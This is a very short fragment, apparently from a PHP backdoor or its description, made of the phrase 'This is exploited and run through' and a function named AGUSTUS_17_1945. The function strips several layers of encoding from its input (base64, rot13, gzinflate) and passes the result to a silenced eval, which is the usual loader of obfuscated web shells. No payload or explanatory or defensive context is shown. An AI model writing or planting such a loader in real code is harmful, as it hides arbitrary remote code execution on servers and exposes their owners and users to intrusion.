This is exploited and run through function AGUSTUS_17_1945($kode){ @eval(str_rot13(gzinflate(str_rot13(base64_decode($kode))))); }